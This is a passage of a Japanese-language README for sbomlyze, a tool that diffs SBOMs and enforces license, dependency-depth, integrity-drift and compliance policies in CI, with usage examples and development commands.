- `integrity-drift` (エラー): バージョン変更なしでハッシュが変更された
- `deep-dependency` (警告): 深さ3以上の新しい依存関係
- `new-component` / `removed-component` (注意): コンポーネントの追加/削除
- `version-change` (注意): コンポーネントのバージョン更新
- `policy-violation` (エラー/警告): ポリシールール違反
#### JUnit Format
JUnit XML をテストケース付きで生成します:
- 整合性ドリフトなし
- 深い推移的依存関係なし (深さ3以上)
- ポリシー準拠 (違反ごとに1つのテストケース)
- SBOM 差分サマリー
#### Markdown Format
Markdown レポートを生成します:
- 左右に並べた SBOM 比較テーブル (ファイル、サイズ、OS、カバレッジメトリクス)
- スキャンコンテキストの詳細
- 主な発見事項
- タイプ別にグループ化された追加/削除パッケージ (折りたたみセクション内)
- ドリフトサマリー、依存関係の深さ、ポリシー違反
#### HTML Format
単一の自己完結型 HTML ファイル (インライン CSS と JavaScript、外部アセットなし) を生成します。監査人へのメール送信やリリースへの添付に適しています。統計ダッシュボード、依存関係ツリー、ドリフトサマリー、および `--compliance` が設定されている場合は埋め込みコンプライアンスレポートが含まれます。
#### Patch Format
差分を表す RFC 6902 JSON Patch オペレーション (`add`, `remove`, `replace`) の配列を生成します。
### `--json`
`--format json` の短縮形です。プログラムからの利用のために結果を JSON 形式で出力します。```bash
# Stats as JSON
sbomlyze image.json --json
# Diff as JSON
sbomlyze before.json after.json --json
統計JSON構造:```json { "stats": { "total_components": 71, "by_type": {"apk": 71}, "by_license": {"MIT": 17, "BSD-3-Clause": 8}, "without_license": 0, "with_hashes": 0, "without_hashes": 71, "total_dependencies": 176, "with_dependencies": 65, "duplicate_count": 0, "by_language": {"go": 45, "python": 12}, "by_found_by": {"apk-db-cataloger": 71}, "license_categories": { "copyleft": 8, "permissive": 55, "public_domain": 0, "unknown": 8 }, "with_cpes": 71, "without_cpes": 0, "with_purl": 71, "without_purl": 0 }, "warnings": [] }
### `--policy <file>`
ポリシールールを適用し、違反した場合はCIを失敗させます。```bash
sbomlyze before.json after.json --policy policy.json
詳細はPolicy Engineを参照してください。
--strict
解析エラーが発生した場合は、即座に失敗します。```bash sbomlyze broken.json --strict
Error parsing broken.json: unknown SBOM format
exit status 1
### `--tolerant` (デフォルト)
エラーが発生しても処理を続行し、警告を収集します。```bash
sbomlyze broken.json --tolerant
# 📦 SBOM Statistics
# ==================
# Total Components: 0
# ...
# ⚠️ Parse Warnings (1):
# [broken.json] unknown SBOM format
パース警告には構造化された情報が含まれます。ソースファイル、人間が読めるメッセージ、そして必要に応じて問題の原因となったフィールドです。
--no-pager
自動出力ページングを無効にします。出力を別のコマンドにパイプする場合や、非対話環境で実行する場合に便利です。```bash sbomlyze image.json --no-pager sbomlyze before.json after.json --no-pager | head -20
## ポリシーエンジン
CI/CDパイプラインでルールを強制するためのポリシーを作成します。違反が発生すると、sbomlyzeは終了コード1で終了します。
### ポリシーファイル形式```json
{
"max_added": 10,
"max_removed": 5,
"max_changed": 100,
"deny_licenses": ["GPL-3.0", "AGPL-3.0"],
"require_licenses": true,
"deny_duplicates": true,
"deny_integrity_drift": true,
"max_depth": 3,
"warn_supplier_change": true,
"warn_new_transitive": true,
"min_ntia_score": 85,
"min_cisa_score": 70,
"min_bsi_score": 80,
"min_overall_compliance": 75
}
ポリシールール
| Rule | Type | Description |
|---|---|---|
max_added | int | 許可される新しいコンポーネントの最大数(0 = 無制限) |
max_removed | int | 許可される削除されたコンポーネントの最大数(0 = 無制限) |
max_changed | int | 許可される変更されたコンポーネントの最大数(0 = 無制限) |
deny_licenses | []string | 禁止されたライセンス識別子のリスト |
require_licenses | bool | 追加されたすべてのコンポーネントにライセンスが必要(差分モードでは新しく追加されたコンポーネントのみチェック) |
deny_duplicates | bool | 結果に重複パッケージが存在する場合は失敗 |
deny_integrity_drift | bool | バージョン変更なしにコンポーネントのハッシュが変更された場合に失敗(サプライチェーンリスク) |
max_depth | int | 深さ >= N の新しい推移的依存関係がある場合に失敗(0 = 無制限) |
warn_supplier_change | bool | コンポーネントのサプライヤー/作者が変更された場合に警告(失敗はしない) |
warn_new_transitive | bool | 新しい推移的依存関係がある場合に警告(失敗はしない) |
min_ntia_score | int | NTIA コンプライアンススコアがこれを下回る場合に失敗(0-100、0 = 無効) |
min_cisa_score | int | CISA コンプライアンススコアがこれを下回る場合に失敗(0-100、0 = 無効) |
min_bsi_score | int | BSI コンプライアンススコアがこれを下回る場合に失敗(0-100、0 = 無効) |
min_overall_compliance | int | 全体的なコンプライアンススコアがこれを下回る場合に失敗(0-100、0 = 無効) |
いずれかの
min_*_scoreしきい値を設定すると、--complianceフラグがなくても自動的にコンプライアンス評価がトリガーされます。
例:厳格ポリシー```json
{ "max_added": 5, "max_removed": 3, "max_changed": 20, "deny_licenses": ["GPL-3.0", "AGPL-3.0", "SSPL-1.0"], "require_licenses": true, "deny_duplicates": true, "deny_integrity_drift": true, "max_depth": 3, "warn_supplier_change": true, "warn_new_transitive": true, "min_overall_compliance": 80 }
### ポリシー違反の出力```
!! Policy Violations (3):
[max_added] too many components added: 10 > 5
[max_removed] too many components removed: 7 > 3
[deny_licenses] component foo has denied license: GPL-3.0
対応SBOMフォーマット
| フォーマット | ファイル検出 | 抽出される識別子 |
|---|---|---|
| Syft (ネイティブ) | JSONキー "artifacts" に加えて、"source", "distro", "descriptor" のいずれか | PURL, CPE, 名前 |
| CycloneDX | JSONキー "bomFormat" = "CycloneDX"、または "$schema" が cyclonedx を含む | PURL, CPE, BOM-ref, グループ (名前空間) |
| SPDX | JSONキー "spdxVersion" が "SPDX-" で始まる | PURL, CPE, SPDXID |
すべてのフォーマットはJSONである必要があります。XMLサポートは現在利用できません。
フォーマット変換
sbomlyze は、対応している3つのフォーマット間を相互変換できます。```bash sbomlyze convert input.json --to spdx # any format → SPDX 2.3 sbomlyze convert input.json --to cyclonedx # any format → CycloneDX 1.5 sbomlyze convert input.json --to syft # any format → Syft JSON
詳細は[Convert Mode](#convert-mode)を参照してください。
### クロスフォーマット比較
sbomlyzeは異なる形式のSBOMを比較できます:```bash
# Compare Syft output with CycloneDX
sbomlyze syft-output.json cyclonedx-output.json
# Compare SPDX with Syft
sbomlyze spdx-output.json syft-output.json
注記: SBOM形式が異なると、抽出される詳細レベルも異なります。形式をまたいだ差分は、実際のシステム変更ではなく、形式の違い(例:フィールドの有無)による変化を示す場合があります。主要な検出結果システムは、スキャンコンテキストの不一致を検出した場合に警告します。
コンポーネント ID マッチング
コンポーネントは、優先順位に基づく ID システムを使用して照合されます:
| 優先度 | 識別子 | 例 | 説明 |
|---|---|---|---|
| 1 | PURL | pkg:npm/lodash | パッケージ URL(バージョン除去済み) |
| 2 | CPE | cpe:vendor:product | CPE ベンダー:プロダクト(バージョン除去済み) |
| 3 | BOM-ref / SPDXID | ref:component-123 | CycloneDX bom-ref または SPDX 識別子 |
| 4 | 名前空間 + 名前 | com.example/mypackage | グループ/名前空間と名前 |
| 5 | 名前 | simple-package | 名前のみにフォールバック |
CI/CD 統合
GitHub Actions
SBOMlyze は、依存関係のない JavaScript Action として提供されます。チェックイン済みまたは別途生成された head SBOM を、プルリクエストの git ベースにあるファイルと比較し、Job Summary を公開します。また、オプションで SARIF を生成したり、1 つの PR コメントを更新したりできます。```yaml name: SBOM Check on: pull_request:
permissions: contents: read
jobs: sbom-diff: runs-on: ubuntu-latest steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: fetch-depth: 0
- id: sbomlyze
uses: rezmoss/sbomlyze@31503690611fda8ebba4ed2bd186eda000442594 # v0.5.1
with:
sbom-path: build/sbom.cdx.json
policy: .github/sbom-policy.json
fail-on: policy
このActionはジェネレータコマンドを実行しません。ヘッドSBOMは、レビュー済みの別ステップで生成するか、リポジトリにコミットしてください。`comment` と `sarif` はどちらもデフォルトで `false` です。コメント権限が利用できない場合、フォークされたPRでも完全なJob Summaryを受け取ります。すべての入出力、SHAピニング、SARIFアップロード、権限、およびセキュリティ動作については、[Actionリファレンス](https://github.com/rezmoss/sbomlyze/blob/HEAD/ACTION.md)を参照してください。
### GitLab CI```yaml
sbom-diff:
stage: test
script:
- syft . -o json > current.json
- sbomlyze baseline.json current.json --policy policy.json --json > sbom-report.json
- sbomlyze baseline.json current.json --format junit > sbom-junit.xml
artifacts:
paths:
- sbom-report.json
reports:
junit: sbom-junit.xml
when: always
整合性ドリフトアラート```bash
Alert on any integrity drift (CI example)
if sbomlyze baseline.json current.json --json | jq -e '.diff.drift_summary.integrity_drift > 0' > /dev/null; then echo "⚠️ INTEGRITY DRIFT DETECTED - Investigate immediately!" exit 1 fi
### 深層依存関係アラート```bash
# Alert on new deep transitive dependencies
if sbomlyze baseline.json current.json --json | jq -e '.diff.dependencies.depth_summary.depth_3_plus > 0' > /dev/null; then
echo "⚠️ New deep transitive dependencies detected - Review required!"
fi
Compliance Gate```bash
Fail the build if the SBOM doesn't meet minimum-element requirements
sbomlyze current.json --policy compliance-policy.json
where compliance-policy.json sets min_overall_compliance / min_ntia_score / etc.
## 終了コード
| コード | 意味 |
|------|---------|
| 0 | 成功、差分または違反なし |
| 1 | 差分を検出(追加/削除/変更されたコンポーネント)、ポリシー違反、またはエラー |
**注:** 差分モードでは、ポリシーファイルがなくても、コンポーネントの変更が検出されると終了コード 1 が返されます。これにより、CI で「何か変更されたかどうか」を確認するシンプルなゲートとして使用できます。
## 例
### Dockerイメージの比較```bash
# Generate SBOMs
syft nginx:1.25-alpine -o json > nginx-125.json
syft nginx:1.26-alpine -o json > nginx-126.json
# Compare
sbomlyze nginx-125.json nginx-126.json
ライセンス監査```bash
Check for GPL licenses in new dependencies
cat > audit-policy.json << EOF { "deny_licenses": ["GPL-2.0", "GPL-3.0", "LGPL-2.1", "LGPL-3.0"], "require_licenses": true } EOF
sbomlyze old.json new.json --policy audit-policy.json
### 依存関係のドリフト検出```bash
# Detect any changes (strict mode for no drift)
cat > no-drift.json << EOF
{
"max_added": 0,
"max_removed": 0,
"max_changed": 0
}
EOF
sbomlyze baseline.json current.json --policy no-drift.json
コンプライアンスチェック```bash
Score an SBOM and enforce a minimum
sbomlyze image.json --compliance
cat > compliance-policy.json << EOF { "min_ntia_score": 90, "min_overall_compliance": 80 } EOF
sbomlyze image.json --policy compliance-policy.json
### SBOM形式の変換```bash
# Convert a Syft SBOM to CycloneDX for tools that require it
syft alpine:latest -o json > alpine-syft.json
sbomlyze convert alpine-syft.json --to cyclonedx -o alpine-cdx.json
# Convert CycloneDX to SPDX for compliance workflows
sbomlyze convert vendor-sbom.cdx.json --to spdx > vendor-sbom.spdx.json
# Pipe conversion output directly
sbomlyze convert input.json --to spdx | jq '.packages | length'
ブラウザでSBOMを探索```bash
Generate SBOM and explore in web UI
syft alpine:latest -o json > alpine.json
Start web server
sbomlyze -web
Then open http://localhost:8080 and drag-drop alpine.json
### インタラクティブターミナル探索```bash
# Explore with keyboard navigation
sbomlyze alpine.json -i
# Navigate with arrow keys, search with '/', view details with Enter
開発
テストの実行```bash
make test
or
go test -v ./...
### Lint```bash
make lint # runs go vet + golangci-lint + staticcheck
make vulncheck # runs govulncheck for known CVEs
ビルド```bash
make build-quick
or
go build -o sbomlyze ./cmd/sbomlyze
### Make コマンド```bash
make all # Run test, lint, and build
make test # Run all tests with race detector
make lint # Run go vet, golangci-lint, and staticcheck
make vulncheck # Run govulncheck for known vulnerabilities
make build # Build with goreleaser (snapshot)
make build-quick # Quick build for development
make snapshot-test # Run snapshot tests only
make update-snapshot # Update snapshot golden files
make clean # Remove build artifacts
コントリビューション
コントリビューションを歓迎します!初めてのコントリビューションに適したイシューには good first issue というラベルが付いています。存在する場合は CONTRIBUTING.md を参照し、変更を提案するためにイシューやディスカッションを遠慮なく開いてください。
